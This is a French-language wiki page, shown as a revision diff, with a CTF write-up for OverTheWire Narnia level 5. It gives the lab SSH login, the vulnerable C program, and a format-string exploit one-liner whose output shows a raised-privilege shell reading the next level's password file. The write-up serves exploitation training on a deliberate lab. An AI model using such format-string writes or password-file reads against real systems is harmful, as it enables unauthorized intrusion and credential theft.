Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
— |
overthewire_narnia:level5 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | <code> | ||
+ | ssh narnia5@narnia.labs.overthewire.org | ||
+ | pass : faimahchiy | ||
+ | </code> | ||
+ | |||
+ | <code C> | ||
+ | #include <stdio.h> | ||
+ | #include <stdlib.h> | ||
+ | #include <string.h> | ||
+ | |||
+ | int main(int argc, char **argv){ | ||
+ | int i = 1; | ||
+ | char buffer[64]; | ||
+ | |||
+ | snprintf(buffer, sizeof buffer, argv[1]); | ||
+ | buffer[sizeof (buffer) - 1] = 0; | ||
+ | printf("Change i's value from 1 -> 500. "); | ||
+ | |||
+ | if(i==500){ | ||
+ | printf("GOOD\n"); | ||
+ | system("/bin/sh"); | ||
+ | } | ||
+ | |||
+ | printf("No way...let me give you a hint!\n"); | ||
+ | printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); | ||
+ | printf ("i = %d (%p)\n", i, &i); | ||
+ | return 0; | ||
+ | } | ||
+ | </code> | ||
+ | |||
+ | Pour changer des buffers overflow, nous avons le droit cette fois ci à une petite format string :-) | ||
+ | Le but est d'écrire ''500'' sur la variable ''i'', si vous débutez en format string, je vous conseille de lire de la documentation avant ! (j'ai la flemme de détailler :-D) | ||
+ | |||
+ | L'adresse de la variable nous ai donné par le programme, ce qui va nous faciliter la tâche. | ||
+ | |||
+ | <code> | ||
+ | narnia5@melissa:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff%496d%5$n"') | ||
+ | Change i's value from 1 -> 500. GOOD | ||
+ | $ id | ||
+ | uid=14005(narnia5) gid=14005(narnia5) euid=14006(narnia6) groups=14006(narnia6),14005(narnia5) | ||
+ | $ cat /etc/narnia_pass/narnia6 | ||
+ | neezocaeng | ||
+ | </code> |